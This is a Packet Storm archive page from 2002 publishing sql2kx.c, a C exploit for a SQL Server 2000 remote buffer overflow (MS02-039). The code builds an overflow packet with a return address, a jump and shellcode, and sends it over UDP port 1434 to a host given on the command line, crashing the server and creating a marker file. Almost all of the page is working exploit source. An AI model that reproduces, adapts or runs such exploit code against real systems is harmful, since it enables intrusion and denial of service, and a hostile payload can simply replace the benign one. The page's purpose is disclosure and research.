never stop questioning

sql2kx.c

sql2kx.c
Posted Aug 13, 2002
Authored by sk | Site scan-associates.net

SQL Server 2000 remote buffer overflow exploit. Tested against Win2ksp2. Included shellcode creates the file \scan_sql2k_bo. Fix available here.

tags | exploit, remote, overflow, shellcode
MD5 | 95d98c6c7fc8be9fac23f02dd1c66757

sql2kx.c

Change Mirror Download
/* 
SQL Server 2000 Remote Buffer Overflow
by sk@scan-associates.net
bug found by:
David Litchfield

tested on Win2k SP2. shellcode Will create file \scan_sql2k_bo.
sql server will die. so, script kiddie, dun try dis.

created while everyone is bz wif defcon.

greetz to da scan clan, especially to tynon, pokleyzz, wyse and spoonfork. Alphaque and L33tdawg, thanks for the beer. Mnemonix and Mark Litchfield for lots of SQL BO examples.

fix: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp

http://www.scan-associates.net
*/

#include <stdio.h>
#include <winsock2.h>
#pragma comment (lib,"Ws2_32")

unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;

if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
int main(int argc,char *argv[])
{
int s;
char buf2[350];
struct sockaddr_in target;
int EIP = 0x78024e02;
int EAX = 0x42d01e40;
unsigned char forwardjump[]="\x0eb\x0a\x0cc\x0cc\x0cc\x0cc\x0cc\x0cc";

WSADATA WSAData;

BYTE shellcode[] = ""
"\x8B\xF1\x33\xC0\xC7\x06\x5C\x73\x63\x61\xC7\x46\x04\x6E\x5F\x73"
"\x71\xC7\x46\x08\x6C\x32\x6B\x5F\xC7\x46\x0C\x62\x6F\x2E\x41\x88"
"\x46\x0F\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\x6C\xC2"
"\x01\x78\xFF\xD0\xB8\xC7\x3E\x01\x78\xFF\xD0";

if (argc!=2)
{
printf("usage: %s ip\n",argv[0]);
return -1;
}

if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0)
{
printf("WSAStartup failed.\n");
WSACleanup();
exit(1);
}

s = socket(AF_INET,SOCK_DGRAM,0);
if(s<0)
return -1;

memset((char *)&target,0,sizeof(target));

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(argv[1]);
if(target.sin_addr.s_addr==0)
{
closesocket(s);
return -2;
}
target.sin_port = htons(1434);

memset(buf2,0xcc,sizeof(buf2));
buf2[0] = 0x04;
*(unsigned int *)&buf2[97] = EIP;
memcpy(&buf2[101], forwardjump, strlen(forwardjump));
*(unsigned int *)&buf2[109] = EAX;
memcpy(&buf2[113], shellcode, strlen(shellcode));
buf2[1+96+8+strlen(forwardjump)+strlen(shellcode)]=0;

if (sendto(s, buf2, strlen(buf2)+1, 0, &target, sizeof(target)) == SOCKET_ERROR)
printf("Error: sendto() failed.\n");
closesocket(s);
return 0;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

May 2012

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    37 Files
  • 2
    May 2nd
    53 Files
  • 3
    May 3rd
    33 Files
  • 4
    May 4th
    4 Files
  • 5
    May 5th
    10 Files
  • 6
    May 6th
    17 Files
  • 7
    May 7th
    19 Files
  • 8
    May 8th
    36 Files
  • 9
    May 9th
    34 Files
  • 10
    May 10th
    35 Files
  • 11
    May 11th
    20 Files
  • 12
    May 12th
    18 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    27 Files
  • 15
    May 15th
    58 Files
  • 16
    May 16th
    54 Files
  • 17
    May 17th
    25 Files
  • 18
    May 18th
    53 Files
  • 19
    May 19th
    9 Files
  • 20
    May 20th
    15 Files
  • 21
    May 21st
    25 Files
  • 22
    May 22nd
    32 Files
  • 23
    May 23rd
    35 Files
  • 24
    May 24th
    26 Files
  • 25
    May 25th
    25 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2012 Packet Storm. All rights reserved.

close